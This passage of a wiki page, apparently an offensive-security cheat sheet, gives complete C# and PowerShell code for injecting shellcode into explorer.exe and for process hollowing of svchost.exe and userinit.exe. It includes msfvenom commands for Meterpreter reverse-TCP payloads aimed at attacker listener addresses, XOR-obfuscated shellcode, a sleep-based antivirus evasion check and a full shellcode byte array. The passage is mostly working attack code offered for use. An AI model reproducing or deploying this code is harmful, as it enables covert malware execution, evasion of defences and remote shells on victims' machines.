        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
	// Automatically obtain process ID&lt;br /&gt;
            Process[] localByName = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            if (localByName.Length == 0)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;No explorer process found.&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            int targetProcessId = localByName[0].Id;&lt;br /&gt;
            // Obtain a handle to the target process&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode]&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$procId = (Get-Process explorer).Id&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE]&lt;br /&gt;
# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);&lt;br /&gt;
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
  (getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)&lt;br /&gt;
# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);&lt;br /&gt;
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)&lt;br /&gt;
# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);&lt;br /&gt;
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)&lt;br /&gt;
# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)&lt;br /&gt;
Write-Host &amp;quot;Injected! Check your listener!&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Hollowing ==&lt;br /&gt;
&lt;br /&gt;
Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection.&lt;br /&gt;
&lt;br /&gt;
=== Stageless XOR&#039;d ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ProcessHollowing&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint CREATE_SUSPENDED = 0x4;&lt;br /&gt;
        public const int PROCESSBASICINFORMATION = 0;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct ProcessInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public Int32 ProcessId;&lt;br /&gt;
            public Int32 ThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct StartupInfo&lt;br /&gt;
        {&lt;br /&gt;
            public uint cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public uint dwX;&lt;br /&gt;
            public uint dwY;&lt;br /&gt;
            public uint dwXSize;&lt;br /&gt;
            public uint dwYSize;&lt;br /&gt;
            public uint dwXCountChars;&lt;br /&gt;
            public uint dwYCountChars;&lt;br /&gt;
            public uint dwFillAttribute;&lt;br /&gt;
            public uint dwFlags;&lt;br /&gt;
            public short wShowWindow;&lt;br /&gt;
            public short cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct ProcessBasicInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,&lt;br /&gt;
            IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,&lt;br /&gt;
            ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,&lt;br /&gt;
            int dwSize, out IntPtr lpNumberOfbytesRW);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // AV evasion: Sleep for 10s and detect if time really passed&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, ...SHELLCODE HERE&lt;br /&gt;
            };&lt;br /&gt;
            // Start &#039;svchost.exe&#039; in a suspended state&lt;br /&gt;
            StartupInfo sInfo = new StartupInfo();&lt;br /&gt;
            ProcessInfo pInfo = new ProcessInfo();&lt;br /&gt;
            bool cResult = CreateProcess(null, &amp;quot;c:\\windows\\system32\\svchost.exe&amp;quot;, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Started &#039;svchost.exe&#039; in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.&amp;quot;);&lt;br /&gt;
            // Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)&lt;br /&gt;
            ProcessBasicInfo pbInfo = new ProcessBasicInfo();&lt;br /&gt;
            uint retLen = new uint();&lt;br /&gt;
            long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);&lt;br /&gt;
            IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got process information and located PEB address of process at {&amp;quot;0x&amp;quot; + baseImageAddr.ToString(&amp;quot;x&amp;quot;)}. Success: {qResult == 0}.&amp;quot;);&lt;br /&gt;
            // Get entry point of the actual process executable&lt;br /&gt;
            // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))&lt;br /&gt;
            // From the PEB (address we got in last call), we have to do the following:&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            byte[] procAddr = new byte[0x8];&lt;br /&gt;
            byte[] dataBuf = new byte[0x200];&lt;br /&gt;
            IntPtr bytesRW = new IntPtr();&lt;br /&gt;
            bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);&lt;br /&gt;
            IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);&lt;br /&gt;
            result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: Executable base address: {&amp;quot;0x&amp;quot; + executableAddress.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: e_lfanew offset: {&amp;quot;0x&amp;quot; + e_lfanew.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            uint rvaOffset = e_lfanew + 0x28;&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA offset: {&amp;quot;0x&amp;quot; + rvaOffset.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA value: {&amp;quot;0x&amp;quot; + rva.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got executable entrypoint address: {&amp;quot;0x&amp;quot; + entrypointAddr.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // Carrying on, decode the XOR payload&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;XOR-decoded payload.&amp;quot;);&lt;br /&gt;
            // Overwrite the memory at the identified address to &#039;hijack&#039; the entrypoint of the executable&lt;br /&gt;
            result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote entrypoint with payload. Success: {result}.&amp;quot;);&lt;br /&gt;
            // Resume the thread to trigger our payload&lt;br /&gt;
            uint rResult = ResumeThread(pInfo.hThread);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Triggered payload. Success: {rResult == 1}. Check your listener!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stageless 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
//https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
&lt;br /&gt;
public class Program&lt;br /&gt;
{&lt;br /&gt;
    const int PROCESS_CREATE_THREAD = 0x0002;&lt;br /&gt;
    const int PROCESS_QUERY_INFORMATION = 0x0400;&lt;br /&gt;
    const int PROCESS_VM_OPERATION = 0x0008;&lt;br /&gt;
    const int PROCESS_VM_WRITE = 0x0020;&lt;br /&gt;
    const int PROCESS_VM_READ = 0x0010;&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern uint SuspendThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern int ResumeThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection&lt;br /&gt;
    [DllImport(&amp;quot;ntdll.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
    private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);&lt;br /&gt;
&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);&lt;br /&gt;
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
    [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);&lt;br /&gt;
    private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
    private static UInt32 SUSPEND_RESUME = 0x0002;&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
&lt;br /&gt;
// msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp&lt;br /&gt;
        byte[] shellcode = new byte[193] {0xfc,0xe8,0x82,0x00,0x00,0x00,&lt;br /&gt;
0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,&lt;br /&gt;
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,&lt;br /&gt;
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,&lt;br /&gt;
0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,&lt;br /&gt;
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,&lt;br /&gt;
0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,&lt;br /&gt;
0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,&lt;br /&gt;
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,&lt;br /&gt;
0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,&lt;br /&gt;
0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,&lt;br /&gt;
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,&lt;br /&gt;
0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,&lt;br /&gt;
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,&lt;br /&gt;
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,&lt;br /&gt;
0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,&lt;br /&gt;
0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};&lt;br /&gt;
&lt;br /&gt;
        string proc = &amp;quot;userinit.exe&amp;quot;;&lt;br /&gt;
        Process newproc;&lt;br /&gt;
        newproc = Process.Start(proc);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Started &amp;quot; + proc + &amp;quot; with Process Id:&amp;quot; + newproc.Id);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspending process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            SuspendThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspended!&amp;quot;);&lt;br /&gt;
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);&lt;br /&gt;
        IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Allocating memory&amp;quot;);&lt;br /&gt;
        WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Copied shellcode in memory&amp;quot;);&lt;br /&gt;
        IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
        IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));&lt;br /&gt;
        Console.WriteLine(&amp;quot;Created remote thread&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resuming process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            ResumeThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resumed!&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload through CIFS/SMB ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
